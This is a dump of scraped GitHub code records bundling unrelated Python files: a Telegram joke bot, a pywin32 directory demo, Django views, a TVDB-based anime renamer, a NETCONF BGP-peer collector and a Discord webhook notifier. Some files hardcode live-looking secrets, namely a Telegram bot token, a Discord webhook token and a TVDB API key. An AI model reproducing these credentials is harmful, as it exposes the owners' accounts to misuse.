datetime\r\nimport random\r\nclass BotHandler:\r\n \r\n def __init__(self, token):\r\n self.token = token\r\n self.api_url = \"https://api.telegram.org/bot{}/\".format(token)\r\n \r\n def get_updates(self, offset=None, timeout=30):\r\n method = 'getUpdates'\r\n params = {'timeout': timeout, 'offset': offset}\r\n resp = requests.get(self.api_url + method, params)\r\n result_json = resp.json()['result']\r\n return result_json\r\n \r\n def send_message(self, chat_id, text):\r\n params = {'chat_id': chat_id, 'text': text}\r\n method = 'sendMessage'\r\n resp = requests.post(self.api_url + method, params)\r\n return resp\r\n \r\n def get_last_update(self):\r\n get_result = self.get_updates()\r\n \r\n if len(get_result) > 0:\r\n last_update = get_result[-1]\r\n else:\r\n last_update = get_result[len(get_result)]\r\n \r\n return last_update\r\n\r\ngreet_bot = BotHandler('545295349:AAGYgw7rfoy1OoYJYdK5LKLopQeA2FfIvoA') \r\ngreetings = ('hello', 'hi', 'greetings', 'sup','привет','прив','хай','здоров')\r\ngreetings1= ('витя лох','витя','лох')\r\ngreetings2=('вадим')\r\ngreetings3=('кира лох','кира')\r\ngreetings4=('кирилл лох','кирилл')\r\ngreetings5=('вадим лох')\r\ngreetings6=('шутка')\r\nnow = datetime.datetime.now()\r\n\r\njokes=['Лично мне клоуны совсем не кажутся смешными. По правде говоря, я их боюсь. Даже не знаю, когда это началось. Наверное, когда меня в детстве повели в цирк и клоун убил моего отца.'\r\n ,'— Татуся, слышишь?! Ехать не советую… Погода на четыре с минусом… А главное, тут абсолютно нету мужиков… Але! Ты слышишь?! Многие девушки уезжают, так и не отдохнув…'\r\n ,'Творческая интеллигенция всего мира осудила закрытие Таджикского театра оперы и балета. «Теперь оставшиеся без работы артисты наверняка станут наркоторговцами и наркокурьерами», — уверенно заявляют музыкальные критики.'\r\n ,'Это маленькие голубые создания, и у каждого из них по пятьдесят рук, так что они — единственный народ во всей Вселенной, который изобрел дезодорант раньше колеса.'\r\n ,'— Боцман упал за борт, — сообщил мне капитан Трюм. — Отчасти в этом виноват я сам. Это случилось рано утром. Я поднял его на руки, чтобы он получше рассмотрел айсберг, и совершенно случайно, увер��ю вас, совершенно случайно уронил за борт. — Капитан Трюм, — осведомился я, — а вы предприняли что-нибудь для его спасения? — Пока еще нет, — смущенно ответил он.'\r\n ,'Звонок в дверь. Мужик открывает и видит на пороге существо в халате и ластах, с альпенштоком, клоунским носом, картонными крыльями бабочки за спиной и в колпаке с бубенчиками. Мужик, пораженно: — Ты кто? — Я твоя смерть… — О Боже! Какая нелепая смерть!'\r\n ,'Трампа выдвинули на Нобелевскую премию мира. Потому что он уже год у власти, а так и не начал ни одной новой войны.'\r\n ,'Детство — это когда ты не паришься из за чьего-то мнения. Тебе просто плевать, обсыпал урода песком и все.'\r\n ,'В супермаркетах, по большому счету, продается только две вещи - мешки для мусора и мусор для мешков'\r\n ,'Смотрел я передачу про навозных жуков. Очень интересно! Они почти как люди - насобирают говна, а потом всю жизнь его перед собой катят...'\r\n ]\r\njokes1=['Не понел','Да, не услышал, с каждым может случиться','Введите нормальное плз','Не грубите','Сами попробуйте на это ответить','Сори, не услышал, можете повторить?','Шо?','Че? Тихо пишете.'\r\n ,'Я отойду на секунду, вы пока подумайте.','Нууу, хм.','Да, скорее всего вы правы.','Нууу, впринципе вы правы.','Я не обязан все знать.','Это просто. Подумайте, поможет.']\r\njokes2=['Бред. ','Я не прав. ','Я все же прав.','Лол. ','Ага)) ','Ну даа. ','Да, скорее всего. ','Это не точно. ','По статистике это не так, хотя... ']\r\ndef main(): \r\n new_offset = None\r\n today = now.day\r\n hour = now.hour\r\n\r\n while True:\r\n greet_bot.get_updates(new_offset)\r\n\r\n last_update = greet_bot.get_last_update()\r\n\r\n last_update_id = last_update['update_id']\r\n last_chat_text = last_update['message']['text']\r\n last_chat_id = last_update['message']['chat']['id']\r\n last_chat_name = last_update['message']['chat']['first_name']\r\n if len(last_chat_text.lower())>=3:\r\n\r\n if last_chat_text.lower() in greetings and today == now.day and 6 <= hour < 12:\r\n greet_bot.send_message(last_chat_id, 'Good Morning, {}'.format(last_chat_name))\r\n\r\n\r\n elif last_chat_text.lower() in greetings and today == now.day and 12 <= hour < 17:\r\n greet_bot.send_message(last_chat_id, 'Good Afternoon, {}'.format(last_chat_name))\r\n\r\n\r\n elif last_chat_text.lower() in greetings and today == now.day and 17 <= hour < 23:\r\n greet_bot.send_message(last_chat_id, 'Good Evening, {}'.format(last_chat_name))\r\n \r\n elif last_chat_text.lower() in greetings1:\r\n greet_bot.send_message(last_chat_id, 'Абсолютно верно, Витя лох!')\r\n elif last_chat_text.lower() in greetings2:\r\n greet_bot.send_message(last_chat_id, 'Создатель')\r\n elif last_chat_text.lower() in greetings3:\r\n greet_bot.send_message(last_chat_id, 'Кира красотка!')\r\n elif last_chat_text.lower() in greetings4:\r\n greet_bot.send_message(last_chat_id, 'Ваня лучше!')\r\n elif last_chat_text.lower() in greetings5:\r\n greet_bot.send_message(last_chat_id, 'На создателей не ругаются')\r\n elif last_chat_text.lower() in greetings6:\r\n \r\n k=random.randint(0,len(jokes)-1) \r\n greet_bot.send_message(last_chat_id, jokes[k])\r\n else: \r\n m=random.randint(0,len(jokes2)-1)\r\n k=random.randint(0,len(jokes1)-1)\r\n greet_bot.send_message(last_chat_id, jokes2[m]+jokes1[k])\r\n else:\r\n m=random.randint(0,len(jokes2)-1)\r\n k=random.randint(0,len(jokes1)-1) \r\n greet_bot.send_message(last_chat_id, jokes2[m]+jokes1[k])\r\n\r\n\r\n\r\n new_offset = last_update_id + 1\r\n \r\n \r\nif __name__ == '__main__': \r\n try:\r\n main()\r\n except KeyboardInterrupt:\r\n exit()\r\n\r\n \r\n","repo_name":"giperborea/BoN","sub_path":"Умныйбот.py","file_name":"Умныйбот.py","file_ext":"py","file_size_in_byte":8184,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"1361642216","text":"# To illustrate inheritance\n\nclass A:\n def display(self):\n print(\"Class A display method\")\n\nclass B(A):\n def display1(self):\n print(\"Class B display function\")\n\n\nobja=A() # Parent class object\nobjb=B() # child class object\n\nobja.display()\nobjb.display() # call parent class function using child class object\nobjb.display1()","repo_name":"vthebbar/PythonBasicPrograms1","sub_path":"PythonBasicPrograms/BasicPrograms/Inheritance1.py","file_name":"Inheritance1.py","file_ext":"py","file_size_in_byte":344,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"20761516107","text":"import string\nimport sys\n\nimport pythoncom\nimport win32api\nfrom win32com.adsi import *\n\nverbose_level = 0\n\nserver = \"\" # Must have trailing /\nlocal_name = win32api.GetComputerName()\n\n\ndef DumpRoot():\n \"Dumps the root DSE\"\n path = \"LDAP://%srootDSE\" % server\n rootdse = ADsGetObject(path)\n\n for item in rootdse.Get(\"SupportedLDAPVersion\"):\n print(\"%s supports ldap version %s\" % (path, item))\n\n attributes = [\"CurrentTime\", \"defaultNamingContext\"]\n for attr in attributes:\n val = rootdse.Get(attr)\n print(\" %s=%s\" % (attr, val))\n\n\n###############################################\n#\n# Code taken from article titled:\n# Reading attributeSchema and classSchema Objects\ndef _DumpClass(child):\n attrs = \"Abstract lDAPDisplayName schemaIDGUID schemaNamingContext attributeSyntax oMSyntax\"\n _DumpTheseAttributes(child, string.split(attrs))\n\n\ndef _DumpAttribute(child):\n attrs = \"lDAPDisplayName schemaIDGUID adminDescription adminDisplayName rDNAttID defaultHidingValue defaultObjectCategory systemOnly defaultSecurityDescriptor\"\n _DumpTheseAttributes(child, string.split(attrs))\n\n\ndef _DumpTheseAttributes(child, attrs):\n for attr in attrs:\n try:\n val = child.Get(attr)\n except pythoncom.com_error as details:\n continue\n # ###\n (hr, msg, exc, arg) = details\n if exc and exc[2]:\n msg = exc[2]\n val = \"\" % (msg,)\n if verbose_level >= 2:\n print(\" %s: %s=%s\" % (child.Class, attr, val))\n\n\ndef DumpSchema():\n \"Dumps the default DSE schema\"\n # Bind to rootDSE to get the schemaNamingContext property.\n path = \"LDAP://%srootDSE\" % server\n rootdse = ADsGetObject(path)\n name = rootdse.Get(\"schemaNamingContext\")\n\n # Bind to the actual schema container.\n path = \"LDAP://\" + server + name\n print(\"Binding to\", path)\n ob = ADsGetObject(path)\n nclasses = nattr = nsub = nunk = 0\n\n # Enumerate the attribute and class objects in the schema container.\n for child in ob:\n # Find out if this is a class, attribute, or subSchema object.\n class_name = child.Class\n if class_name == \"classSchema\":\n _DumpClass(child)\n nclasses = nclasses + 1\n elif class_name == \"attributeSchema\":\n _DumpAttribute(child)\n nattr = nattr + 1\n elif class_name == \"subSchema\":\n nsub = nsub + 1\n else:\n print(\"Unknown class:\", class_name)\n nunk = nunk + 1\n if verbose_level:\n print(\"Processed\", nclasses, \"classes\")\n print(\"Processed\", nattr, \"attributes\")\n print(\"Processed\", nsub, \"sub-schema's\")\n print(\"Processed\", nunk, \"unknown types\")\n\n\ndef _DumpObject(ob, level=0):\n prefix = \" \" * level\n print(\"%s%s object: %s\" % (prefix, ob.Class, ob.Name))\n # Do the directory object thing\n try:\n dir_ob = ADsGetObject(ob.ADsPath, IID_IDirectoryObject)\n except pythoncom.com_error:\n dir_ob = None\n if dir_ob is not None:\n info = dir_ob.GetObjectInformation()\n print(\"%s RDN='%s', ObjectDN='%s'\" % (prefix, info.RDN, info.ObjectDN))\n # Create a list of names to fetch\n names = [\"distinguishedName\"]\n attrs = dir_ob.GetObjectAttributes(names)\n for attr in attrs:\n for val, typ in attr.Values:\n print(\"%s Attribute '%s' = %s\" % (prefix, attr.AttrName, val))\n\n for child in ob:\n _DumpObject(child, level + 1)\n\n\ndef DumpAllObjects():\n \"Recursively dump the entire directory!\"\n path = \"LDAP://%srootDSE\" % server\n rootdse = ADsGetObject(path)\n name = rootdse.Get(\"defaultNamingContext\")\n\n # Bind to the actual schema container.\n path = \"LDAP://\" + server + name\n print(\"Binding to\", path)\n ob = ADsGetObject(path)\n\n # Enumerate the attribute and class objects in the schema container.\n _DumpObject(ob)\n\n\n##########################################################\n#\n# Code taken from article:\n# Example Code for Enumerating Schema Classes, Attributes, and Syntaxes\n\n# Fill a map with VT_ datatypes, to give us better names:\nvt_map = {}\nfor name, val in pythoncom.__dict__.items():\n if name[:3] == \"VT_\":\n vt_map[val] = name\n\n\ndef DumpSchema2():\n \"Dumps the schema using an alternative technique\"\n path = \"LDAP://%sschema\" % (server,)\n schema = ADsGetObject(path, IID_IADsContainer)\n nclass = nprop = nsyntax = 0\n for item in schema:\n item_class = string.lower(item.Class)\n if item_class == \"class\":\n items = []\n if item.Abstract:\n items.append(\"Abstract\")\n if item.Auxiliary:\n items.append(\"Auxiliary\")\n # \t\t\tif item.Structural: items.append(\"Structural\")\n desc = string.join(items, \", \")\n import win32com.util\n\n iid_name = win32com.util.IIDToInterfaceName(item.PrimaryInterface)\n if verbose_level >= 2:\n print(\n \"Class: Name=%s, Flags=%s, Primary Interface=%s\"\n % (item.Name, desc, iid_name)\n )\n nclass = nclass + 1\n elif item_class == \"property\":\n if item.MultiValued:\n val_type = \"Multi-Valued\"\n else:\n val_type = \"Single-Valued\"\n if verbose_level >= 2:\n print(\"Property: Name=%s, %s\" % (item.Name, val_type))\n nprop = nprop + 1\n elif item_class == \"syntax\":\n data_type = vt_map.get(item.OleAutoDataType, \"\")\n if verbose_level >= 2:\n print(\"Syntax: Name=%s, Datatype = %s\" % (item.Name, data_type))\n nsyntax = nsyntax + 1\n if verbose_level >= 1:\n print(\"Processed\", nclass, \"classes\")\n print(\"Processed\", nprop, \"properties\")\n print(\"Processed\", nsyntax, \"syntax items\")\n\n\ndef DumpGC():\n \"Dumps the GC: object (whatever that is!)\"\n ob = ADsGetObject(\"GC:\", IID_IADsContainer)\n for sub_ob in ob:\n print(\"GC ob: %s (%s)\" % (sub_ob.Name, sub_ob.ADsPath))\n\n\ndef DumpLocalUsers():\n \"Dumps the local machine users\"\n path = \"WinNT://%s,computer\" % (local_name,)\n ob = ADsGetObject(path, IID_IADsContainer)\n ob.put_Filter([\"User\", \"Group\"])\n for sub_ob in ob:\n print(\"User/Group: %s (%s)\" % (sub_ob.Name, sub_ob.ADsPath))\n\n\ndef DumpLocalGroups():\n \"Dumps the local machine groups\"\n path = \"WinNT://%s,computer\" % (local_name,)\n ob = ADsGetObject(path, IID_IADsContainer)\n\n ob.put_Filter([\"Group\"])\n for sub_ob in ob:\n print(\"Group: %s (%s)\" % (sub_ob.Name, sub_ob.ADsPath))\n # get the members\n members = sub_ob.Members()\n for member in members:\n print(\" Group member: %s (%s)\" % (member.Name, member.ADsPath))\n\n\ndef usage(tests):\n import os\n\n print(\"Usage: %s [-s server ] [-v] [Test ...]\" % os.path.basename(sys.argv[0]))\n print(\" -v : Verbose - print more information\")\n print(\" -s : server - execute the tests against the named server\")\n print(\"where Test is one of:\")\n for t in tests:\n print(t.__name__, \":\", t.__doc__)\n print()\n print(\"If not tests are specified, all tests are run\")\n sys.exit(1)\n\n\ndef main():\n import getopt\n import traceback\n\n tests = []\n for ob in globals().values():\n if isinstance(ob, Callable) and ob.__doc__:\n tests.append(ob)\n opts, args = getopt.getopt(sys.argv[1:], \"s:hv\")\n for opt, val in opts:\n if opt == \"-s\":\n if val[-1] not in \"\\\\/\":\n val = val + \"/\"\n global server\n server = val\n if opt == \"-h\":\n usage(tests)\n if opt == \"-v\":\n global verbose_level\n verbose_level = verbose_level + 1\n\n if len(args) == 0:\n print(\"Running all tests - use '-h' to see command-line options...\")\n dotests = tests\n else:\n dotests = []\n for arg in args:\n for t in tests:\n if t.__name__ == arg:\n dotests.append(t)\n break\n else:\n print(\"Test '%s' unknown - skipping\" % arg)\n if not len(dotests):\n print(\"Nothing to do!\")\n usage(tests)\n for test in dotests:\n try:\n test()\n except:\n print(\"Test %s failed\" % test.__name__)\n traceback.print_exc()\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"mhammond/pywin32","sub_path":"com/win32comext/adsi/demos/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":8521,"program_lang":"python","lang":"en","doc_type":"code","stars":4604,"dataset":"github-code","pt":"70"} +{"seq_id":"43836201442","text":"#!/usr/bin/env python3\n\n# Created by Indraneel on 25/10/12\n\nimport socket\n\nUDP_IP = \"192.168.0.2\"\nUDP_PORT = 80\nMESSAGE = b\"Hello, World!\"\n\nprint(\"UDP target IP: %s\" % UDP_IP)\nprint(\"UDP target port: %s\" % UDP_PORT)\nprint(\"message: %s\" % MESSAGE)\n\nsock = socket.socket(socket.AF_INET, # Internet\n socket.SOCK_DGRAM) # UDP\nsock.sendto(MESSAGE, (UDP_IP, UDP_PORT))\n\nprint(\"Message sent!\")\nmsgFromServer = sock.recvfrom(1)\n\n \n\nmsg = \"Message from Server {}\".format(msgFromServer[0])\n\nprint(msg)","repo_name":"indraneelpatil/python-slip-udp","sub_path":"slip_test.py","file_name":"slip_test.py","file_ext":"py","file_size_in_byte":511,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"70"} +{"seq_id":"19835720251","text":"from django.shortcuts import render, redirect, get_object_or_404\nfrom .models import Roles\nfrom .form import RoleCreate\n\nfrom django.http import HttpResponse\nfrom django.template.loader import get_template, render_to_string\nfrom xhtml2pdf import pisa\n\nfrom io import BytesIO\n\n\n\n\ndef index(request):\n \n roles = Roles.objects.all()\n \n context = {'roles': roles}\n \n return render(request, 'index.html', context)\n\n\ndef roleCreate(request):\n newRole = Roles.objects.create(**request.POST.dict())\n return render(request, 'roles/create.html')\n\n\ndef roleCreate(request):\n if request.method == 'POST':\n form = RoleCreate(request.POST, request.FILES)\n if form.is_valid():\n role = form.save(commit=False)\n role.etats = 'ENCOURS' \n # role.created_by = request.user\n \n role.save()\n \n return redirect('home')\n else:\n form = RoleCreate()\n\n return render(request, 'roles/create.html', {'form': form})\n\n\ndef roleUpdate(request, role_id):\n role = Roles.objects.get(id=role_id)\n\n if request.method == 'POST':\n form = RoleCreate(request.POST, request.FILES, instance=role)\n if form.is_valid():\n # role.modified_by = request.user # Enregistrer l'utilisateur actuel comme modificateur\n form.save()\n return redirect('home')\n else:\n form = RoleCreate(instance=role)\n \n return render(request, 'roles/update.html', {'form': form, 'role': role})\n\ndef delete(request, role_id):\n role = get_object_or_404(Roles, id=role_id)\n if request.method == 'POST':\n \n role.delete()\n return redirect('confirm_delete')\n return render(request, 'roles/delete.html', {'role': role})\n\n\ndef confirm_delete(request):\n return render(request, 'roles/confirm_delete.html')\n\n\n\n\ndef role_detail(request, role_id):\n role = get_object_or_404(Roles, id=role_id)\n context = {'role': role}\n return render(request, 'roles/detail.html', context)\n\n\ndef print_document(request, role_id):\n # Récupérer les données pour le document à partir de la base de données ou d'autres sources\n data_print = Roles.objects.get(id=role_id)\n\n # Charger le modèle HTML pour le document\n template = 'report.html'\n\n # Créer le contexte avec les données à passer au modèle\n context = {\n 'data_print': data_print\n }\n\n # Rendre le modèle HTML avec le contexte\n html = render_to_string(template, context)\n\n # Créer un document PDF à partir du modèle HTML\n pdf_file = BytesIO()\n pisa.CreatePDF(html, dest=pdf_file)\n \n\n # Retourner le document PDF comme une réponse HTTP\n response = HttpResponse(pdf_file.getvalue(), content_type='application/pdf')\n response['Content-Disposition'] = 'attachment; filename=\"document.pdf\"'\n return response\n\n\n","repo_name":"ndouajm/MicenRole","sub_path":"MicenRole/GestionDeRole/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2869,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"3616230747","text":"import sys\nfrom os import listdir\nfrom os.path import isfile, join\nfrom os import rename\nfrom os import getcwd\nimport tvdbsimple as tvdb\nfrom pip._vendor.distlib.compat import raw_input\n\ntvdb.KEYS.API_KEY = 'UB0SOLRB8XH3I39L'\nvalidfiles = []\ninvalidfiles = []\n\n\nclass sfilenames:\n def __init__(self, episodenumber, filename, extension):\n self.extension = extension\n self.filename = filename\n self.episodenumber = episodenumber\n\n\ndef main(path=getcwd()):\n \"\"\"\n does all the operations in steps\n :param path:\n :return:\n \"\"\"\n get_series_deatils(sys.argv[1])\n scanfolder(path)\n match_filename(sys.argv[1])\n\n return\n\n\ndef mainpackage(seriesid):\n \"\"\"\n does all the operations in steps\n :param path:\n :return:\n \"\"\"\n path = getcwd()\n get_series_deatils(seriesid)\n scanfolder(path)\n match_filename(seriesid)\n\n return\n\n\ndef scanfolder(path):\n \"\"\"\n scans the folder for files with extensions.mkv.mp4 etc and stores all the feasable cadidates.\n :param path:\n :return:\n \"\"\"\n \"\"\"need to go into config file supported extensions\"\"\"\n exts = ['.mkv', '.mp4', '.avi', '.flv', '.mpg', '.mpeg', '.wmv', '.webm', '.vob', '.mov', '.3gp', '.ogv']\n allfiles = [f for f in listdir(path) if isfile(join('.', f))]\n for file in allfiles:\n if getextension(file) in exts:\n try:\n validfiles.append(sfilenames(int(file.replace(getextension(file), '')), str(file), getextension(file)))\n except:\n continue\n\n\n else:\n invalidfiles.append(file)\n\n return\n\n\ndef getextension(filename):\n \"\"\"\n uses file name to get extension\n :param filename:\n :return:\n \"\"\"\n a = filename.rfind('.')\n return filename[a:]\n\n\ndef get_series_deatils(seriesid):\n \"\"\"\n get series deatils sunch as poster info description no of seasons etc\n episodes = tvdb.Series_Episodes(series_id[0]['id']).all()\n print('Number of episodes: ', len(episodes))\n :param series_name:\n :return:\n \"\"\"\n show = tvdb.Series(seriesid)\n info = show.info()\n linesep()\n print('Series name : ', info['seriesName'])\n print('Overview : ', info['overview'])\n linesep()\n\n return\n\n\ndef match_filename(seriesid):\n \"\"\"\n get filenames from tv_db and match them with local filenames and save them for confirmation.\n :param filename:\n :return:\n \"\"\"\n show = tvdb.Series(seriesid)\n info = show.info()\n title = info['seriesName']\n episodes = tvdb.Series_Episodes(seriesid).all()\n for s in episodes:\n for k in validfiles:\n try:\n if s['absoluteNumber'] == k.episodenumber:\n outfilename = make_filename(title, s['airedSeason'], s['airedEpisodeNumber'],\n s['episodeName'],\n s['absoluteNumber'])\n src = getcwd() + '/' + k.filename\n dst = getcwd() + '/' + outfilename + k.extension\n print(src)\n print(dst)\n rename(src, dst)\n except IOError:\n print(IOError)\n continue\n\n return\n\n\ndef removeNonAscii(s): return \"\".join(i for i in s if ord(i) < 128)\n\n\ndef make_filename(seriesname, seasonnumber, seasonepisode, episodename, episodenumber):\n \"\"\"\n this is used to make filename as per the format\n :return:\n \"\"\"\n name = [str(removeNonAscii(seriesname)), ' Ep-', str(episodenumber), ' S', str(seasonnumber), 'E', str(seasonepisode), ' -',\n str(removeNonAscii(episodename))]\n\n finalname = ''.join(name)\n\n return finalname.replace(':', '!').replace('?', '').replace('/', '')\n\n\ndef linesep():\n \"\"\"\n this is used to drawline in the terminal window\n :return:\n \"\"\"\n print(\"-\" * 100)\n return\n\n\nif len(sys.argv) > 1:\n main()\nelse:\n blah = ''\n","repo_name":"kud04rk/anime-renamer","sub_path":"anime_renamer/renamer.py","file_name":"renamer.py","file_ext":"py","file_size_in_byte":3952,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"70"} +{"seq_id":"30223760413","text":"import datetime\n\nfrom netaddr import IPNetwork, IPAddress\n\nfrom ncclient import manager\nfrom ncclient.xml_ import *\nfrom lxml import etree, objectify\nfrom lxml import etree as ETREE\nimport ipaddress\nimport sqlite3\n\nfrom nornir import InitNornir\nfrom nornir.plugins.tasks.networking import netmiko_send_command, napalm_get, napalm_configure\nfrom nornir.plugins.tasks import networking, text\nfrom nornir.plugins.functions.text import print_result, print_title\nfrom nornir.plugins.tasks import commands\nfrom nornir.core.filter import F\n\nimport logging\nimport sys\n#\nfrom tqdm import tqdm\nimport pandas as pd\nfrom sqlalchemy import create_engine, text\n\n\ndef get_ix_name(ip,version,ix_lans):\n default = {'name': 'n/a', 'ipv4': 'n/a', 'ipv6': 'n/a'}\n try:\n for i in ix_lans:\n if version == 4:\n \tif IPAddress(ip) in IPNetwork(i['ipv4']):\n return i\n elif version == 6:\n \tif IPAddress(ip) in IPNetwork(i['ipv6']):\n return i\n else:\n return default\n except Exception as e:\n print('error',e)\n return default\n\ndef get_lnetd_our_ans():\n \"\"\"\n Get LnetD ASN configuration\n \"\"\"\n try:\n conn = sqlite3.connect(\"/opt/lnetd/web_app/database.db\")\n df_config = pd.read_sql(\"SELECT * FROM App_config\", conn)\n return int(df_config['asn'].values[0])\n except:\n return -1\n\ndef get_lnetd_bgp_peering_points():\n \"\"\"\n get LnetD Peering Points\n \"\"\"\n try:\n conn = sqlite3.connect(\"/opt/lnetd/web_app/database.db\")\n df_links = pd.read_sql(\"SELECT * FROM Bgp_peering_points\", conn)\n df_links = df_links.drop(['index'], axis=1)\n return df_links.to_dict(orient='records')\n except Exception as e:\n print(e)\n return {}\ndef get_lnetd_bgp_customers():\n \"\"\"\n get LnetD BGP customers\n \"\"\"\n try:\n conn = sqlite3.connect(\"/opt/lnetd/web_app/database.db\")\n df_links = pd.read_sql(\"SELECT * FROM Bgp_customers\", conn)\n df_cst = df_links['ASN'].map(lambda x: x.split()[0])\n return df_cst.unique().tolist()\n except:\n return []\n\ndef remove_ns(xml_string):\n '''Remove namespace from xml string'''\n xml_string = xml_string.encode('utf-8')\n parser = etree.XMLParser(remove_blank_text=True,encoding='utf-8')\n tree = etree.fromstring(xml_string, parser)\n root = tree.getroottree()\n\n for elem in root.getiterator():\n if not hasattr(elem.tag, 'find'):\n continue # (1)\n i = elem.tag.find('}')\n if i >= 0:\n elem.tag = elem.tag[i + 1:]\n objectify.deannotate(root, cleanup_namespaces=True)\n #return(etree.tostring(root, pretty_print=True))\n return(root)\n\ndef parse_bgp_xml(result_tree,rtr):\n all_neigh = []\n for isis_id in result_tree.iter('neighbor'):\n #print(isis_id,isis_id[0].text)\n this_neighbor = {}\n this_neighbor['router'] = rtr\n this_neighbor[\"neighbor_address\"] = isis_id.xpath(\".//neighbor-address\")[0].text\n try:\n this_neighbor[\"description\"] = isis_id.xpath(\".//description\")[0].text\n except :\n this_neighbor[\"description\"] = \"NO_DESC\"\n\n #this_neighbor[\"local_as\"] = isis_id.xpath(\".//local-as\")[0].text\n this_neighbor[\"remote_as\"] = isis_id.xpath(\".//remote-as\")[0].text\n this_neighbor[\"is_up\"] = isis_id.xpath(\".//connection-state\")[0].text\n if this_neighbor[\"is_up\"] =='bgp-st-estab':\n this_neighbor[\"is_up\"] = 1\n uptime = isis_id.xpath(\".//connection-established-time\")[0].text\n this_neighbor[\"uptime\"] = datetime.timedelta(seconds=int(uptime))\n else:\n this_neighbor[\"is_up\"] = 0\n this_neighbor[\"uptime\"] = 0\n for isis_id2 in isis_id.iter('af-data'):\n #print(isis_id2.xpath(\".//af-name\")[0].text)\n #print(isis_id2.xpath(\".//prefixes-accepted\")[0].text)\n family_name = isis_id2.xpath(\".//af-name\")[0].text\n prefixes = isis_id2.xpath(\".//prefixes-accepted\")[0].text\n this_neighbor[family_name] = prefixes\n #this_neighbor[\"uptime\"] = 'N/A'\n all_neigh.insert(0,this_neighbor)\n return all_neigh\n\ndef get_netconf_xr(task):\n rpc_get_bgp =\"\"\"\n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n\n\"\"\"\n hostname = task.host.name\n hostip = task.host.hostname\n username = task.host.username\n password = task.host.password\n try:\n dev = manager.connect(host=hostip,\n username=username,\n password=password,\n hostkey_verify=False,\n device_params={'name': 'iosxr'},\n timeout=320)\n res = dev.dispatch(to_ele(rpc_get_bgp))\n res = to_xml(res.data)\n xml_result = remove_ns(res)\n final = parse_bgp_xml(xml_result,hostname)\n return final\n except Exception as e:\n print('Failed',e)\n raise Exception\n\n\nnr = InitNornir(config_file=\"config.yaml\",dry_run=False)\n\nall_devices = nr.filter(F(groups__contains=\"peering\"))\n\nr = all_devices.run(task=get_netconf_xr)\n\nfinal_panda = []\n\nfor i in r:\n if i in r.failed_hosts.keys():\n print('Fail node',i)\n continue\n else:\n #print(r[i][0].result)\n final_panda = final_panda + r[i][0].result\n\nix_lans = get_lnetd_bgp_peering_points()\nipt_cst = get_lnetd_bgp_customers()\nour_asn = get_lnetd_our_ans()\n\nprint('Our ASN',our_asn)\n\nprint(ix_lans)\n\nfor n in final_panda:\n n['version'] = ipaddress.ip_address(n['neighbor_address']).version\n\n if n['remote_as'] == str(our_asn):\n n['type'] = 'internal'\n n['ix_name'] = 'n/a'\n else:\n n['type'] = 'peering'\n entry = get_ix_name(n['neighbor_address'], n['version'],ix_lans)\n n['ix_name'] = entry['name']\n\n if n['version'] == 4:\n if n['uptime'] ==0:\n n['accepted_prefixes'] = 0\n else:\n n['accepted_prefixes'] = n['ipv4']\n else:\n if n['uptime'] ==0:\n n['accepted_prefixes'] = 0\n else:\n n['accepted_prefixes'] = n['ipv6']\n\ndf = pd.DataFrame(final_panda)\ndf = df.loc[:, df.columns.isin(['accepted_prefixes','description','is_up','ix_name','neighbor_address','remote_as','router','uptime','version','type'])]\ndf = df.rename(columns={'description': 'neighbour', 'neighbor_address': 'neighbour_ip'})\n\ndf['uptime'] = df['uptime'].values.astype(\"timedelta64[m]\")\ndf['uptime'] = df['uptime'].astype(str)\ndf['uptime'] = df['uptime'].map(lambda x: x[:-10])\n\nprint('\\nthis is the panda before writing to db\\n',df)\n\ndisk_engine = create_engine('sqlite:////opt/lnetd/web_app/database.db')\ndf.to_sql('Bgp_peers', disk_engine, if_exists='replace')\n","repo_name":"cpmarvin/lnetd","sub_path":"inputs/nornir/nornir2_bkp/get_bgp_peers_xr_netconf.py","file_name":"get_bgp_peers_xr_netconf.py","file_ext":"py","file_size_in_byte":7582,"program_lang":"python","lang":"en","doc_type":"code","stars":113,"dataset":"github-code","pt":"70"} +{"seq_id":"17336963029","text":"from discord import Webhook, RequestsWebhookAdapter, Embed\n\nprintWebhookURL = \"https://discord.com/api/webhooks/1003080661936123945/6aYkOHRIQA1UrikSFkw82ZkIyapgcUv3BXPEwM22YhjoA46P7k0XbzIAJVATKfMCtI_U\"\n\n###########################\nPROJECTNAME = \"Instagram Bot\"\nAVATARURL = \"https://www.pngmart.com/files/21/Instagram-Logo-PNG-Transparent.png\"\n###########################\n\ndef sendLog(value):\n webhook = Webhook.from_url(printWebhookURL, adapter=RequestsWebhookAdapter())\n colore = 0xededed\n if value.startswith(\"[MESSAGE]\"):\n colore = 0x1eff00\n if value.startswith(\"[ACTION]\"):\n colore = 0xb90bbc\n if value.startswith(\"[WARNING]\"):\n colore = 0xbc7b0b\n if value.startswith(\"[ERROR]\"):\n colore = 0xff0000\n e = Embed(title=value, color=colore)\n webhook.send(embed=e, avatar_url=AVATARURL, username=PROJECTNAME)","repo_name":"Anomalyforlife/massFollowInstagram","sub_path":"discordWebhookNotifier.py","file_name":"discordWebhookNotifier.py","file_ext":"py","file_size_in_byte":859,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"12466225761","text":"import matlab.engine\nimport os\nfrom scipy.io import savemat\nimport numpy as np\nimport cv2\n\nfrom config import GlobalConfig\n\n\"\"\"\nThe only existing SAR-BM3D Source Code on the internet is written in Matlab.\nFurthermore, there is no source code! Only compiled binaries...\nFortunately, the Matlab Engine for Python exists, so I should be able to run them that way.\nThe SAR-BM3D executables can be downloaded here: http://www.grip.unina.it/web-download.html?dir=JSROOT/SAR-BM3D\n\"\"\"\n\n\nclass SARBM3DFilter():\n def __init__(self, ecs=False):\n if ecs:\n self.SAMRBM3D_DIR = os.path.join('C:/', 'Local', 'SARBM3D_v10_win64')\n else:\n self.SAMRBM3D_DIR = os.path.join(os.getcwd(), 'algorithms', 